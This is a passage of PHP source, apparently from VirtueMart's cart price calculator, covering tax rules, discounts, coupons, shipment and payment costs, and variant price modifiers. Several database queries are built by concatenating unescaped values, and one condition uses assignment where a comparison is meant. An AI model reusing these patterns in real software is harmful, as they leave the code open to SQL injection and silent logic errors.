discounts $categorydiscountBeforeTax = 0; foreach ($this->_cartData['DBTaxRulesBill'] as &$rule) { if (!empty($rule['subTotalPerTaxID'])) { foreach ($rule['subTotalPerTaxID'] as $k=>$DBTax) { $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'], $k, true)); if (!empty($this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'])) { $categorydiscountBeforeTax += $this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax']; } // vmdebug('$categorydiscountBeforeTax',$categorydiscountBeforeTax); } } } // combine the discounts before tax for each taxID foreach ($this->_cartData['VatTax'] as &$rule) { if (!empty($rule['DBTax'])) { $sum = 0; foreach ($rule['DBTax'] as $key=>$val) { $sum += $val; } $rule['DBTax'] = $sum; } } // calculate the new subTotal with discounts before tax, necessary for billTotal $toTax = $this->_cartPrices['salesPrice'] + $cartdiscountBeforeTax; //Avalara wants to calculate the tax of the shipment. Only disadvantage to set shipping here is that the discounts per bill respectivly the tax per bill // is not considered. $this->calculateShipmentPrice($cart, $checkAutomaticSelected); // next step is handling a coupon, if given $this->_cartData['vmVat'] = TRUE; $this->_cartPrices['salesPriceCoupon'] = 0.0; if (!empty($cart->couponCode)) { $this->couponHandler($cart->couponCode); } // now calculate the discount for hole cart and reduce subTotal for each taxRulesBill, to calculate correct tax, also if there are more than one tax rules $totalDiscountBeforeTax = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { if(!empty($rule['subTotal'])) { $rule['percentage'] = $rule['subTotal'] / $this->_cartPrices['salesPrice']; if (isset($this->_cartData['VatTax'][$k]['DBTax'])) { $rule['subTotal'] += $this->_cartData['VatTax'][$k]['DBTax']; } $rule['subTotal'] += $totalDiscountBeforeTax * $rule['percentage']; } } // now each taxRule subTotal is reduced with DBTax and we can calculate the cartTax $cartTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['taxRulesBill'], $toTax)); // toDisc is new subTotal after tax, now it comes discount afterTax and we can calculate the final cart price with tax. $toDisc = $toTax + $cartTax; $cartdiscountAfterTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DATaxRulesBill'], $toDisc)); $this->_cartPrices['withTax'] = $toDisc + $cartdiscountAfterTax; $this->calculatePaymentPrice($cart, $checkAutomaticSelected); // $sub =!empty($this->_cartPrices['discountedPriceWithoutTax'])? $this->_cartPrices['discountedPriceWithoutTax']:$this->_cartPrices['basePrice']; if($this->_currencyDisplay->_priceConfig['salesPrice']) $this->_cartPrices['billSub'] = $this->_cartPrices['basePrice'] + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; // $this->_cartPrices['billSub'] = $sub + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; if($this->_currencyDisplay->_priceConfig['discountAmount']) $this->_cartPrices['billDiscountAmount'] = $this->_cartPrices['discountAmount'] + $cartdiscountBeforeTax + $cartdiscountAfterTax;// + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'] ; if($this->_cartPrices['salesPriceShipment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPriceShipment']; if($this->_cartPrices['salesPricePayment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPricePayment']; if($this->_currencyDisplay->_priceConfig['taxAmount']) $this->_cartPrices['billTaxAmount'] = $this->_cartPrices['taxAmount'] + $this->_cartPrices['shipmentTax'] + $this->_cartPrices['paymentTax'] + $cartTax; //+ $this->_cartPrices['withTax'] - $toTax //The coupon handling is only necessary if a salesPrice is displayed, otherwise we have a kind of catalogue mode if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices['billTotal'] = $this->_cartPrices['salesPriceShipment'] + $this->_cartPrices['salesPricePayment'] + $this->_cartPrices['withTax'] + $this->_cartPrices['salesPriceCoupon']; if($this->_cartPrices['billTotal'] < 0){ $this->_cartPrices['billTotal'] = 0.0; } if($this->_cartData['vmVat'] and (!empty($cartdiscountBeforeTax) and isset($this->_cartData['VatTax']) and count($this->_cartData['VatTax'])>0) or !empty($cart->couponCode)){ //$this->_revert = true; $allTotalTax = 0.0; $totalDiscount = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; // vmdebug(' salesPriceCoupon = '. $this->_cartPrices['salesPriceCoupon'].' billDiscountAmount = '.$this->_cartPrices['billDiscountAmount']); foreach($this->_cartData['VatTax'] as &$vattax){ //$vattax['DBTax'] = var_dump(array_sum($vattax['DBTax'])); if (isset($vattax['subTotal'])) { $vattax['percentage'] = $vattax['subTotal'] / $this->_cartPrices['salesPrice']; } $vattax['DBTax'] = isset($vattax['DBTax']) ? $vattax['DBTax'] : 0; if (isset($vattax['calc_value']) && isset($vattax['percentage'])) { $vattax['discountTaxAmount'] = round(($totalDiscount * $vattax['percentage'] + $vattax['DBTax']) / (100 + $vattax['calc_value']) * $vattax['calc_value'],$this->_currencyDisplay->_priceConfig['taxAmount'][1]); } //$vattax['subTotal'] = $vattax['subTotal'] - $vattax['percentage'] * $totalDiscount; if (isset($vattax['discountTaxAmount'])) $this->_cartPrices['billTaxAmount'] += $vattax['discountTaxAmount']; $allTotalTax += $totalDiscount; //$this->_cartPrices['billTaxAmount'] += $vattax['subTotal']; //vmdebug('my vattax recalc data the percentage = '.$vattax['percentage'].' salesPrice = '.$this->_cartPrices['salesPrice'].' $totalDiscount = '. $totalDiscount.' subtotal = '.$vattax['subTotal']); } } if($this->_cartPrices['billTaxAmount'] < 0){ $this->_cartPrices['billTaxAmount'] = 0.0; } } //Calculate VatTax result if ($this->_cartPrices['shipment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['shipment_calc_id']]['shipmentTax'] = $this->_cartPrices['shipmentTax']; if ($this->_cartPrices['payment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['payment_calc_id']]['paymentTax'] = $this->_cartPrices['paymentTax']; foreach($this->_cartData['VatTax'] as $k=>&$vattax){ $vattax['result'] = isset($vattax['taxAmount']) ? $vattax['taxAmount'] : 0; if (isset($vattax['discountTaxAmount'])) $vattax['result'] += $vattax['discountTaxAmount']; if (isset($vattax['shipmentTax'])) $vattax['result'] += $vattax['shipmentTax']; if (isset($vattax['paymentTax'])) $vattax['result'] += $vattax['paymentTax']; if (!isset($vattax['virtuemart_calc_id'])) $vattax['virtuemart_calc_id'] = $this->getCalcRuleData($k)->virtuemart_calc_id; if (!isset($vattax['calc_name'])) $vattax['calc_name'] = $this->getCalcRuleData($k)->calc_name; if (!isset($vattax['calc_value'])) $vattax['calc_value'] = $this->getCalcRuleData($k)->calc_value; } foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { $this->_cartData['VatTax'][$k]['result'] = isset($this->_cartData['VatTax'][$k]['result']) ? $this->_cartData['VatTax'][$k]['result'] : 0; $this->_cartData['VatTax'][$k]['result'] += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(!isset($this->_cartData['VatTax'][$k]['virtuemart_calc_id'])) $this->_cartData['VatTax'][$k]['virtuemart_calc_id'] = $rule['virtuemart_calc_id']; if(!isset($this->_cartData['VatTax'][$k]['calc_name'])) $this->_cartData['VatTax'][$k]['calc_name'] = $rule['calc_name']; if(!isset($this->_cartData['VatTax'][$k]['calc_value'])) $this->_cartData['VatTax'][$k]['calc_value'] = $rule['calc_value']; } //$this->_cartData['taxRulesBill'] = array_merge($this->_cartData['taxRulesBill'],$this->_cartData['VatTax']); //vmdebug('$this->_cartData',$this->_cartData); //vmdebug('$this->_cartPrices',$this->_cartPrices); return $this->_cartPrices; } /** * Get the data of the CalcRule ID if it is not there * @author Maik Kuennemann * @param $VatTaxID ID of the taxe rule */ protected function getCalcRuleData($calcRuleID) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $calcRuleID . '"'; $this->_db->setQuery($q); $calcRule = $this->_db->loadObject(); return $calcRule; } /** * Get coupon details and calculate the value * @author Oscar van Eijk * @param $_code Coupon code */ protected function couponHandler($_code) { JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponHandler', array($_code,&$this->_cartData, &$this->_cartPrices)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); if (!($_data = CouponHelper::getCouponDetails($_code))) { return; // TODO give some error here } $_value_is_total = ($_data->percent_or_total == 'total'); $this->_cartData['couponCode'] = $_code; $this->_cartData['couponDescr'] = ($_value_is_total ? '' : (round($_data->coupon_value) . '%') ); $this->_cartPrices['salesPriceCoupon'] = ($_value_is_total ? $_data->coupon_value * -1 : ($this->_cartPrices['salesPrice'] * ($_data->coupon_value / 100)) * -1 ); // TODO Calculate the tax $this->_cartPrices['couponTax'] = 0; $this->_cartPrices['couponValue'] = $this->_cartPrices['salesPriceCoupon'] - $this->_cartPrices['couponTax']; //$this->_cartPrices['billTotal'] -= $this->_cartPrices['salesPriceCoupon']; //if($this->_cartPrices['billTotal'] < 0){ // $this->_cartPrices['billTotal'] = 0.0; //} } /** * Function to calculate discount/tax of cart rules. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers, Maik Künnemann * * @return int $price the discount/tax */ function cartRuleCalculation($rules, $baseprice, $TaxID = 0, $DBTax = false) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); if (isset($rulesEffSorted)) { $discount = 0; foreach ($rulesEffSorted as &$rule) { if(isset($rule['subTotal'])) { $cIn = $rule['subTotal']; } else { $cIn = $baseprice; } $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $this->roundInternal($this->roundInternal($cOut) - $cIn); $discount += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(isset($rule['subTotal']) and $TaxID != 0 and $DBTax = true) { if(isset($rule['subTotalPerTaxID'][$TaxID])) { $cIn = $rule['subTotalPerTaxID'][$TaxID]; $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartData['VatTax'][$TaxID]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'] = round($this->roundInternal($this->roundInternal($cOut) - $cIn),$this->_currencyDisplay->_priceConfig['salesPrice'][1]);; } } } } return $discount; } /** * Function to execute the calculation of the gathered rules Ids. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $rules The Ids of the products * @param $price The input price, if no rule is affecting, 0 gets returned * @return int $price the endprice */ function executeCalculation($rules, $baseprice, $relateToBaseAmount=false,$setCartPrices = true) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); $price = $baseprice; $finalprice = $baseprice; if (isset($rulesEffSorted)) { foreach ($rulesEffSorted as $rule) { if(isset($rule['subTotal'])){ $cIn = $rule['subTotal']; //vmdebug('executeCalculation use subTotal of rule '.$rule['subTotal']); } else if ($relateToBaseAmount) { $cIn = $baseprice; } else { $cIn = $price; } $cOut = $this->interpreteMathOp($rule, $cIn); $tmp = $this->roundInternal($this->roundInternal($cOut) - $cIn); if($setCartPrices){ $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $tmp; } //vmdebug('executeCalculation id : '.$rule['virtuemart_calc_id'].' = '.$tmp); //okey, this is a bit flawless logic, but should work if ($relateToBaseAmount) { $finalprice = $finalprice + $tmp; } else { $price = $cOut; } } } //okey done with it if (!$relateToBaseAmount) { $finalprice = $price; } return $finalprice; } /** * Gatheres the rules which affects the product. * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint The entrypoint how it should behave. Valid values should be * Profit (Commission is a profit rule that is shared, maybe we remove shared and make a new entrypoint called profit) * DBTax (Discount for wares, coupons) * Tax * DATax (Discount on money) * Duty * @return $rules The rules that effects the product as Ids */ function gatherEffectingRulesForProductPrice($entrypoint, $id) { $testedRules = array(); if ($id === -1) return $testedRules; //virtuemart_calc_id virtuemart_vendor_id calc_shopper_published calc_vendor_published published shared calc_amount_cond $countries = ''; $states = ''; $shopperGroup = ''; $entrypoint = (string) $entrypoint; if(empty($this->allrules[$this->productVendorId][$entrypoint])){ return $testedRules; } $allRules = $this->allrules[$this->productVendorId][$entrypoint]; //Cant be done with Leftjoin afaik, because both conditions could be arrays. foreach ($allRules as $i => $rule) { if(!empty($id)){ if($rule['virtuemart_calc_id']==$id){ $testedRules[$rule['virtuemart_calc_id']] = $rule; } continue; } if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['for_override'])){ continue; } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'])){ $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['cats'] = $this->_db->loadResultArray(); } $hitsCategory = true; if (isset($this->_cats)) { $hitsCategory = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'], $this->_cats); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'])){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'] = $this->_db->loadResultArray(); } $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'], $this->_shopperGroupId); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['countries'] = $this->_db->loadResultArray(); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['states'] = $this->_db->loadResultArray(); } $hitsDeliveryArea = true; if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ if (!empty($this->_deliveryState)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['states'], $this->_deliveryState); } else { $hitsDeliveryArea = false; } } else if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ if (!empty($this->_deliveryCountry)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'], $this->_deliveryCountry); } else { $hitsDeliveryArea = false; } } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'])){ $q = 'SELECT `virtuemart_manufacturer_id` FROM #__virtuemart_calc_manufacturers WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'] = $this->_db->loadResultArray(); } $hitsManufacturer = true; if (isset($this->_manufacturerId)) { $hitsManufacturer = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'], $this->_manufacturerId); } if ($hitsCategory and $hitsShopper and $hitsDeliveryArea and $hitsManufacturer) { if ($this->_debug) echo '
Add rule ForProductPrice ' . $rule["virtuemart_calc_id"]; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesProduct',array(&$this,&$testedRules)); } return $testedRules; } /** * Gathers the effecting rules for the calculation of the bill * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint * @param $cartVendorId * @return $rules The rules that effects the Bill as Ids */ function gatherEffectingRulesForBill($entrypoint, $cartVendorId=1) { $testedRules = array(); //Test if calculation affects the current entry point //shared rules counting for every vendor seems to be not necessary $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind`="' . $entrypoint . '" AND `published`="1" AND (`virtuemart_vendor_id`="' . $cartVendorId . '" OR `shared`="1" ) AND ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) '; // $shoppergrps . $countries . $states ; $this->_db->setQuery($q); $rules = $this->_db->loadAssocList(); foreach ($rules as $rule) { $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $countries = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $states = $this->_db->loadResultArray(); $hitsDeliveryArea = true; //vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea $countries and states ',$countries,$states,$q); if (!empty($countries) && empty($states)) { $hitsDeliveryArea = $this->testRulePartEffecting($countries, $this->_deliveryCountry); } else if (!empty($states) ) { $hitsDeliveryArea = $this->testRulePartEffecting($states, $this->_deliveryState); vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea '.(int)$hitsDeliveryArea.' '.$this->_deliveryState,$states); } $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $rule['calc_categories'] = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $shoppergrps = $this->_db->loadResultArray(); $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($shoppergrps, $this->_shopperGroupId); } if ($hitsDeliveryArea && $hitsShopper) { if ($this->_debug) echo '
Add Checkout rule ' . $rule["virtuemart_calc_id"] . '
'; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesBill', array(&$this, &$testedRules)); } return $testedRules; } /** * Calculates the effecting Shipment prices for the calculation * @copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the coupon * @return $rules ids of the coupons */ function calculateShipmentPrice( $cart, $checkAutomaticSelected=true) { $this->_cartData['shipmentName'] = JText::_('COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED'); $this->_cartPrices['shipmentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['shipmentTax'] = 0; $this->_cartPrices['salesPriceShipment'] = 0; $this->_cartPrices['shipment_calc_id'] = 0; // check if there is only one possible shipment method //if (empty($cart->virtuemart_shipmentmethod_id)){ $cart->CheckAutomaticSelectedShipment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_shipmentmethod_id)) return; //} // Handling shipment plugins if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePriceShipment',array( $cart, &$this->_cartPrices, &$this->_cartData['shipmentName'] )); /* * Plugin return true if shipment rate is still valid * false if not any more */ $shipmentValid=0; foreach ($returnValues as $returnValue) { $shipmentValid += $returnValue; } if (!$shipmentValid) { $cart->virtuemart_shipmentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } /** * Calculates the effecting Payment prices for the calculation * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the paymentmethod * @param $value amount of the money to transfere * @param $value $cartVendorId * @return $paymentCosts The amount of money the customer has to pay. Calculated in shop currency */ function calculatePaymentPrice($cart, $checkAutomaticSelected=true) { // if (empty($code)) return 0.0; // $code=4; $this->_cartData['paymentName'] = JText::_('COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED'); $this->_cartPrices['paymentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['paymentTax'] = 0; $this->_cartPrices['paymentTotal'] = 0; $this->_cartPrices['salesPricePayment'] = 0; $this->_cartPrices['payment_calc_id'] = 0; // check if there is only one possible payment method //if (empty($cart->virtuemart_paymentmethod_id)){ $cart->CheckAutomaticSelectedPayment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_paymentmethod_id)) return; //} if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePricePayment',array( $cart, &$this->_cartPrices, &$this->_cartData['paymentName'] )); /* * Plugin return true if payment plugin is valid * false if not valid anymore * only one value is returned */ $paymentValid=0; foreach ($returnValues as $returnValue) { $paymentValid += $returnValue; } if (!$paymentValid) { $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } function calculateCustomPriceWithTax($price) { $price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $price,true); if(VmConfig::get('cVarswT',1)){ $taxRules = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $vattaxRules = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $rules = array_merge($taxRules,$vattaxRules); if(!empty($rules)){ $price = $this->executeCalculation($rules, $price, true); } $price = $this->roundInternal($price); } return $price; } /** * This function just writes the query for gatherEffectingRulesForProductPrice * When a condition is not set, it is handled like a set condition that affects it. So the users have only to add a value * for the conditions they want to (You dont need to enter a start or end date when the rule should count everytime). * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $data the ids of the rule, for exampel the ids of the categories that affect the rule * @param $field the name of the field in the db, for exampel calc_categories to write a rule that asks for the field calc_categories * @return $q The query */ function writeRulePartEffectingQuery($data, $field, $setAnd=0) { $q = ''; if (!empty($data)) { if ($setAnd) { $q = ' AND ('; } else { $q = ' ('; } foreach ($data as $id) { $q = $q . '`' . $field . '`="' . $id . '" OR'; } $q = $q . '`' . $field . '`="0" )'; } return $q; } /** * This functions interprets the String that is entered in the calc_value_mathop field * The first char is the signum of the function. The more this function can be enhanced * maybe with function that works like operators, the easier it will be to make more complex disount/commission/profit formulas * progressive, nonprogressive and so on. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $mathop String reprasentation of the mathematical operation, valid ('+','-','+%','-%') * @param $value float The value that affects the price * @param $currency int the currency which should be used * @param $price float The price to calculate */ function interpreteMathOp($rule, $price) { $mathop = $rule['calc_value_mathop']; $value = (float)$rule['calc_value']; $currency = $rule['calc_currency']; //$mathop, $value, $price, $currency='') $coreMathOp = array('+','-','+%','-%'); if(!$this->_revert){ $plus = '+'; $minus = '-'; } else { $plus = '-'; $minus = '+'; } if(in_array($mathop,$coreMathOp)){ $sign = substr($mathop, 0, 1); $calculated = false; if (strlen($mathop) == 2) { $cmd = substr($mathop, 1, 2); if ($cmd == '%') { if(!$this->_revert){ $calculated = $price * $value / 100.0; } else { if(!empty($value)){ if($sign == $plus){ $calculated = abs($price /(1 - (100.0 / $value))); } else { $calculated = abs($price /(1 + (100.0 / $value))); } } else { vmdebug('interpreteMathOp $value is empty '.$rule['calc_name']); } // vmdebug('interpreteMathOp $price'.$price.' $value '.$value.' $sign '.$sign.' '.$plus.' $calculated '.$calculated); } } } else if (strlen($mathop) == 1){ $calculated = $this->_currencyDisplay->convertCurrencyTo($currency, $value); } // vmdebug('interpreteMathOp',$price,$calculated,$plus); if($sign == $plus){ return $price + (float)$calculated; } else if($sign == $minus){ return $price - (float)$calculated; } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found'); return $price; } } else { JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); //$calculated = $dispatcher->trigger('interpreteMathOp', array($this, $mathop, $value, $price, $currency,$this->_revert)); $calculated = $dispatcher->trigger('plgVmInterpreteMathOp', array($this, $rule, $price,$this->_revert)); //vmdebug('result of plgVmInterpreteMathOp',$calculated); if($calculated){ foreach($calculated as $calc){ if($calc) return $calc; } } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found, seems you created this rule with plugin not longer accesible (deactivated, uninstalled?)'); return $price; } } } /** * Standard round function, we round every number with 6 fractionnumbers * We need at least 4 to calculate something like 9.25% => 0.0925 * 2 digits * Should be setable via config (just for the crazy case) */ function roundInternal($value,$name = 0) { if(!$this->_roundindig and $name!==0){ if(isset($this->_currencyDisplay->_priceConfig[$name][1])){ //vmdebug('roundInternal rounding use '.$this->_currencyDisplay->_priceConfig[$name][1].' digits'); return round($value,$this->_currencyDisplay->_priceConfig[$name][1]); } else { vmdebug('roundInternal rounding not found for '.$name,$this->_currencyDisplay->_priceConfig[$name]); return round($value, $this->_internalDigits); } } else { return round($value, $this->_internalDigits); } } /** * Round function for display with 6 fractionnumbers. * For more information please read http://en.wikipedia.org/wiki/Propagation_of_uncertainty * and http://www.php.net/manual/en/language.types.float.php * So in case of € or $ it is rounded in cents * Should be setable via config * @deprecated */ /* function roundDisplay($value) { return round($value, 4); }*/ /** * Can test the tablefields Category, Country, State * If the the data is 0 false is returned */ function testRulePartEffecting($rule, $data) { if (!isset($rule)) return true; if (!isset($data)) return false; if (is_array($rule)) { if (count($rule) == 0) return true; } else { $rule = array($rule); } if (!is_array($data)) $data = array($data); $intersect = array_intersect($rule, $data); if ($intersect) { return true; } else { return false; } } /** Sorts indexed 2D array by a specified sub array key * * Copyright richard at happymango dot me dot uk * @author Max Milbers */ function record_sort($records, $field, $reverse=false) { if (is_array($records)) { $hash = array(); foreach ($records as $record) { if(isset($record[$field])){ $keyToUse = $record[$field]; while (array_key_exists($keyToUse, $hash)) { $keyToUse = $keyToUse + 1; } $hash[$keyToUse] = $record; } } ($reverse) ? krsort($hash) : ksort($hash); $records = array(); foreach ($hash as $record) { $records [] = $record; } } return $records; } /** * Calculate a pricemodification for a variant * * Variant values can be in the following format: * Array ( [Size] => Array ( [XL] => +1 [M] => [S] => -2 ) [Power] => Array ( [strong] => [middle] => [poor] => =24 ) ) * * In the post is the data for the chosen variant, when there is a hit, it gets calculated * * Returns all variant modifications summed up or the highest price set with '=' * * @todo could be slimmed a bit down, using smaller array for variantnames, this could be done by using the parseModifiers method, needs to adjust the post * @author Max Milbers * @param int $virtuemart_product_id the product ID the attribute price should be calculated for * @param array $variantnames the value of the variant * @return array The adjusted price modificator */ public function calculateModificators(&$product, $variants) { $modificatorSum = 0.0; //MarkerVarMods foreach ($variants as $selected => $variant) { if (!empty($selected)) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE field.`virtuemart_customfield_id`=' .(int) $selected; $this->_db->setQuery($query); $productCustomsPrice = $this->_db->loadObject(); //A plugin can have a zero price and create it, so no if(!empty(customprice here if ($productCustomsPrice->field_type =='E') { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmCalculateCustomVariant',array(&$product, &$productCustomsPrice,$selected,$modificatorSum)); } if (!empty($productCustomsPrice->custom_price)) { vmdebug('calculateModificators davor',$productCustomsPrice->custom_price); $productCustomsPrice->custom_price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $productCustomsPrice->custom_price,true); vmdebug('calculateModificators danach',$productCustomsPrice->custom_price); //TODO adding % and more We should use here $this->interpreteMathOp $modificatorSum = $modificatorSum + $productCustomsPrice->custom_price; } } } return $modificatorSum; } public function parseModifier($name) { $variants = array(); if ($index = strpos($name, '::')) { $virtuemart_product_id = substr($name, 0, $index); $allItems = substr($name, $index + 2); $items = explode(';', $allItems); foreach ($items as $item) { if (!empty($item)) { //vmdebug('parseModifier $item',$item); $index2 = strpos($item, ':'); if($index2!=false){ $selected = substr($item, 0, $index2); $variant = substr($item, $index2 + 1); // echo 'My selected '.$selected; // echo ' My $variant '.$variant.' '; //TODO productCartId //MarkerVarMods $variants[$selected] = $variant; //this works atm not for the cart //$variants[$variant] = $selected; //but then the orders are broken } } } } //vmdebug('parseModifier $variants',$variants); return $variants; } } 